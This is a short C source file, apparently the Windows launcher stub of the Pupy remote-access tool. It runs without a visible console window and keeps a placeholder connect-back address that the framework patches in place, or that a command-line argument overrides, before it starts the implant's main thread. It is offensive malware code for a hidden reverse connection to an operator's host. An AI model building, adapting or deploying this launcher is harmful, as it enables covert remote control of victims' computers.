#include #include #include #include #include "pupy_load.h" #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup") /* value ":" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */ char connect_back_host[100]=":"; //big array to have space for big domain names. int main(int argc, char *argv[]){ if (argc==2){ memcpy(connect_back_host, argv[1], strlen(argv[1])+1); } if(strcmp(connect_back_host,":")==0){ printf("usage: %s :",argv[0]); return 1; } return mainThread(NULL); }